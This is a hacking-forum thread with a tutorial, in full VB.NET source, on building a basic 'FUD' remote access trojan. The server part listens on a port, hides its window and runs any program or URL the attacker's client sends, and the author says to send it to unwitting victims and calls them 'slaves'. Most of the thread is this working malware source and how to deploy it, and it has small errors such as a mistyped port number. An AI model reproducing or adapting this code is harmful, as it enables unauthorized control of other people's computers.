Results 1 to 2 of 2

Thread: [TuT][VB.NET] How to make a basic FUD RAT

  1. #1
    New member
    Join Date
    Jun 2013
    Posts
    11
    Rep Power
    0

    [TuT][VB.NET] How to make a basic FUD RAT

    Warning This post is long but it tells you how to do it !


    1. Download Visual Basic .NET Express or buy/Crack Visual Studio Pro.

    Now create a new Windows Application and name it "server". Double click the form to edit the code.
    At the top of the code window put:

    Code:
    Imports System.Net
    Imports System.Net.Sockets
    Imports System.IO
    Imports Microsoft.Win32
    
    All this does is allow easy access to certain commands, for example system.io allows access to file commands.
    
    file.open(path)
    Compared to:
    System.IO.File.Open(Path)
    So now we need to create a listening socket which opens a port on the host computer with this.
    Place this in the Public Class Form1 code before Form1_load

    Code:
    Dim port As Integer = 6961
    Dim tcpc As New TcpListener(port)
    Now a new TCP client:

    Code:
    Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Now we need a function that allows us to enable listing on the port when it is called, place this below the code you just wrote:

    Code:
    Private Sub listen()
    Try
    tcpc.Start()
    sock = tcpc.AcceptTcpClient()
    Catch ex As Exception
    End Try
    
    End Sub
    What this does is creates a function to call which try to allow the listener to start listening and when the client tries to connect it accepts it and if it fails it just retries again.

    Now the complicated part. Now we need to create a network stream that allows us to send and receive data from the client and place it in a subroutine:

    Code:
    Private Sub check()
    If sock.Connected = True Then
    sock.SendTimeout = 5000
    Try
    Dim nstream As NetworkStream = sock.GetStream
    Dim bit(sock.ReceiveBufferSize) As Byte
    nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
    Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
    Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
    
    
    If id(0) = 0 Then
    Dim stri As String = id(1)
    Process.Start(stri)
    End If
    Catch ex As Exception
    check()
    End Try
    End If
    End Sub
    This script is actually quite simple, all it does is say if the listener is connected to a socket it redirects the connection to a socket in the server
    And if the server socket is connected it tries to receive the sockets data stream.
    It then defines "bit" as a byte readable by the server data stream and gets its total size, it then tells the socket to read the incoming data, once it is all received it creates a string used to receive string data sent by the client.
    It then defines a string array that splits string data received and the id sent so the server knows what command to execute determined by the if statement.

    This next if statement says if the first string in the array "id" is equal to 0 then a string is defined as the second string in the array "id" and then a process is started from the path depicted from id(1) the second string in that array.

    So now all we need to do is tell the program to run these functions in the form1_load command that is already present, in that sub form put this code:


    Code:
    While sock.Connected = False
    Try
    listen()
    Catch ex As Exception
    End Try
    End While
    
    
    While True
    check()
    End While
    Me.Hide()
    This allows the server to start listening and once it has found a connection it runs the check() function to perform the actions that allows the socket to read the data then hides the form for added security.
    now your server is finished and we must now create the client which is a bit more complicated believe it or not :/


    .::Client::.

    Again create a new Windows Forms Application project in Visual Basic and on the form place:

    3 Textboxes
    2 buttons
    3 labels


    Give Button1 the text "Connect" (without quotes) and give Button2 the text "Send" (without quotes).

    Now before anything special happens we need our basic code, double click Form 1 to edit the code, Now like in the server above everything in the code, insert the following code:

    Code:
    Imports System.Net
    Imports System.Net.Sockets
    Now in Public Class Form1 put:

    Code:
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961
    Like before this defines a TCP client to connect to the server.
    It creates a non-text variable for the IP address for the socket to connect to, for some reason Microsoft is just gay and doesn't allow you to use a string with the socket.connect() command do all this does is turn a string into an IP address then it defines a variable called port with the value 6961 which can be changed.

    Now the fun stuff (sarcasm)

    Below all your variable definitions place the code

    Code:
    Private Sub connect()
    ip = IPAddress.Parse(TextBox1.Text)
    port = TextBox2.Text
    Try
    sock.Connect(ip, port)
    
    Catch ex As Exception
    MsgBox("Can not connect to designated ip at this time")
    End Try
    End Sub
    This creates a sub named 'connect()' when it is called it sets the value of "IP" to what you have written in Textbox1 and then port is set to what you have in Textbox2.

    Now with these 2 values the socket naked sock tries to connect to the IP and port that where defined and if the connection fails an error message is shown saying "Can not connect to designated IP at this time" feel free to change that to whatever you may like. Now we need a sub to be called when we want to send data to the connected socket.

    Code:
    Private Sub dat(ByVal dat As String)
    Dim nstream As NetworkStream = sock.GetStream()
    Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
    nstream.Write(bit, 0, bit.Length)
    End Sub
    So now when you call dat() you need a string in the () to be sent
    but well worry about that later,it defines nstream as "sock's" data stream then defines bit as a byte that encrypts the text into bytes that can be sent over to the server,then the data stream sends the stringnow go back to the design of form 1 where you inserted the textboxes and stuff then double click button1 and in between the brackets of the button1_click put this code

    connect()

    This calls the function connect() which allows the socket to try and connect to the designated port/IP

    Now do the same thing to button 2,and for the button2_click put

    dat("0*" + TextBox3.Text)

    This calls the dat() function and attaches the string "0*" which is the ID of the string being sent to the server plus the text in textbox 3 which should be a path to an application such as "c:\windows\virus.exe" or something or it can also be a webpage you want opened like "http://www.freesoftwarestoinfectmycomputerwithviruses.com " without the quotes of course.
    So the string sent would look like this.

    0*http://www.freesoftwarestoinfectmyco...ithviruses.com


    The * is needed to separate the string once it is decoded in the server, so if you want to send more than the id and 1 string you need to separate them with *
    Like this:

    dat("0*" + TextBox3.Text + "*" + TextBox4.Text)

    This would do nothing as there is no textbox 4 because this is only an example, and since there is no textbox 4 an error would be generated, but that is how you would do it.

    Now that’s basically it, this is basically it for the client. this script is very versatile as dat() can be called on any button press/key press etc... so if you want more features lets say one create a message on the computer with the server you would use this in a separate button press pointing to another textbox like this

    dat("1*" + TextBox4.Text)

    Which just send the text with a new id to the server, but you must modify the server to recognize that id as well

    So to do that the code

    Code:
    Private Sub check()
    If sock.Connected = True Then
    sock.SendTimeout = 5000
    Try
    Dim nstream As NetworkStream = sock.GetStream
    Dim bit(sock.ReceiveBufferSize) As Byte
    nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
    Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
    Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
    
    
    If id(0) = 1 Then
    Dim stri As String = id(1)
    Process.Start(stri)
    End If
    
    Catch ex As Exception
    check()
    End Try
    End If
    End Sub
    
    Should now be:
    
    Private Sub check()
    If sock.Connected = True Then
    sock.SendTimeout = 5000
    Try
    Dim nstream As NetworkStream = sock.GetStream
    Dim bit(sock.ReceiveBufferSize) As Byte
    nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
    Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
    Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
    
    
    If id(0) = 0 Then
    Dim stri As String = id(1)
    Process.Start(stri)
    End If
    
    If id(0) = 1 Then
    Dim stri As String = id(1)
    MsgBox(id(1))
    End If
    
    
    Catch ex As Exception
    check()
    End Try
    End If
    End Sub
    
    
    This has been added:
    
    If id(0) = 1 Then
    Dim stri As String = id(1)
    MsgBox(id(1))
    End If
    So if id(0) is 1 which is the command id it creates a message box with the text sent after the id so it would be whatever you made textbox 3 say in your client

    So now you should save and build both the server and the client because your ready to go, this is all my code hand written and thought of by me so there shouldn’t be another method like this.

    NOW to use this application, send the server to somebody and once they have opened it, it should start listening on the port defined in the server, which is 69691 but can be changed, so once you have somebody running the server you need there IP, look on the web for tutorials on how to find an IP through email, aim, MSN, or even message boards

    So now once you have the slave's, uhh, I mean host's IP open the client and in textbox 1 put the IP address and in textbox 2 put the port, now click connect, an error should come up if you cannot connect, now once connected put a URL or path in textbox 3 and hit send, this should open a webpage on the hosts computer.


    ------SERVER------

    Code:
    Imports System.Net
    Imports System.Net.Sockets
    Imports System.IO
    Imports Microsoft.Win32
    
    Public Class Form1
    Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Dim place As String
    
    Private Sub listen()
    Try
    tcpc.Start()
    sock = tcpc.AcceptTcpClient()
    Catch ex As Exception
    End Try
    
    End Sub
    
    Private Sub check()
    If sock.Connected = True Then
    sock.SendTimeout = 5000
    Try
    Dim nstream As NetworkStream = sock.GetStream
    Dim bit(sock.ReceiveBufferSize) As Byte
    nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
    Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
    Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
    
    
    If id(0) = 0 Then
    Dim stri As String = id(1)
    Process.Start(stri)
    End If
    Catch ex As Exception
    check()
    End Try
    End If
    End Sub
    
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    
    
    While sock.Connected = False
    Try
    listen()
    Catch ex As Exception
    End Try
    End While
    
    While True
    check()
    End While
    Me.Hide()
    End Sub
    End Class
    ------Client------

    Code:
    Imports System.Net
    Imports System.Net.Sockets
    
    Public Class Form1
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961
    
    Private Sub connect()
    ip = IPAddress.Parse(TextBox1.Text)
    port = TextBox2.Text
    Try
    sock.Connect(ip, port)
    
    Catch ex As Exception
    MsgBox("Can not connect to designated ip at this time")
    End Try
    End Sub
    
    Private Sub dat(ByVal dat As String)
    Dim nstream As NetworkStream = sock.GetStream()
    Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
    nstream.Write(bit, 0, bit.Length)
    End Sub
    
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    connect()
    End Sub
    
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
    
    dat("0*" + TextBox3.Text)
    End Sub
    End Class

    I don't know if its still fud now. It was like 3 months ago

  2. #2
    Member
    Join Date
    Mar 2013
    Location
    Finland
    Posts
    59
    Rep Power
    5
    Great Tutorial +REP but how do you send 2 variables like:

    Code:
    If id(0) = 1 Then
        Dim body As String = id(1)
        Dim title As String = id(2)
        MsgBox(body, MsgBoxStyle.OkOnly, title)
    End If
    EDIT: This is a rip from HF and I doubt this user knows anything about VB.net
    Last edited by stocky8; 07-02-2013 at 04:00 PM.

    The Best VPN!
    VVV Click Below VVV


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •